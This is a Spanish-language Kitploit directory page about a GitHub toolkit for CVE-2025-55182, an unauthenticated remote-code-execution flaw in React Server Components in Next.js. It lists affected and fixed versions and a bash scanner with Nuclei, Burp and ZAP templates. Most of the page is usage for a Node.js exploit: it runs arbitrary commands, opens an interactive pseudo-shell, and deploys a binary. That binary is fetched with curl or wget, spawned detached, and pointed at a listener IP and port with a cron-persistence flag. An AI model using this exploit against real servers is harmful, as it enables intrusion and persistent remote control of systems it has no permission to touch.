Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-react2shell — Un escáner bash para detectar la vulnerabilidad CVE-2025-55182 en aplicaciones Next.js. Y un script de PoC en nodejs. | Kitploit
Herramientas/GitHubGitHub/saturate/cve-2025-55182-react2shell
Escáneres de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
saturate/cve-2025-55182-react2shell

CVE-2025-55182-react2shell

Un escáner bash para detectar la vulnerabilidad CVE-2025-55182 en aplicaciones Next.js. Y un script de PoC en nodejs.

Ver Repositorio
1hace 1 mesAún no revisado

react2shell

Kit de herramientas CVE-2025-55182. Escáner + exploit para RCE no autenticada en Next.js mediante inyección de payload RSC.

Exploit en Node.js: cero dependencias. Escáner en Bash: comprueba URLs individuales o listas masivas.

Exploit

root@kitploit:~
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"

# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i

# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
  --deploy ./my-agent \
  --remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
root@kitploit:~
Options:
  -t, --target <url>       Target URL (required)
  -c, --command <cmd>      Execute command with output
  --blind                  Blind RCE (no output capture)
  -i, --interactive        Interactive pseudo-shell
  --deploy <binary>        Upload and execute a binary on the target
  --lhost <ip>             Your IP (auto-detected if omitted)
  --serve-port <port>      HTTP port to serve the binary (default: 8888)
  --remote-args <args>     Arguments passed to the deployed binary

--deploy encadena cuatro llamadas RCE: detección de plataforma (uname), descarga del binario (levanta un servidor HTTP temporal, usa curl/wget en el objetivo) y un spawn independiente para que el proceso sobreviva al timeout de 5 segundos de execSync.

Nota: La página objetivo debe ser dinámica (force-dynamic o una ruta no cacheable). Las páginas estáticas/prerenderizadas devuelven digests en caché en lugar de ejecutar el payload.

Escáner

root@kitploit:~
chmod +x cve-2025-55182-check.sh

# Scan a single URL
./cve-2025-55182-check.sh https://example.com

# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt

# JSON output
./cve-2025-55182-check.sh --json https://example.com
root@kitploit:~
Options:
  -f, --file FILE         Read URLs from file (one per line)
  -v, --verbose           Verbose output (show curl details)
  -q, --quiet             Quiet mode (only show vulnerable sites)
  -n, --no-follow         Don't follow redirects
  -t, --timeout SECONDS   Request timeout (default: 10)
  --json                  Output results in JSON format
  --validate-fix          Test for mitigation controls
  --single-payload        Use only the basic payload (faster)

Plantillas de integración

Plantillas para herramientas de seguridad en templates/:

  • Nuclei (templates/nuclei.yaml)
  • Burp Suite (templates/burp-scanner.json)
  • OWASP ZAP (templates/zap-scan-policy.xml)

Versiones afectadas

React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js: >=14.3.0-canary.77, todos los 15.x y 16.x (antes de los parches)

Corregidas: React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+

Detalles técnicos

Consulta TECHNICAL.md para el análisis completo de la cadena del exploit.

Referencias

  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • Aviso de React: https://react.dev/blog/2025/12/03/critical-security-vulnerability
  • Commit de corrección: https://github.com/facebook/react/commit/7dc903cd29

Licencia

MIT

Autor

Allan Kimmer Jensen - https://akj.io

Descargar herramienta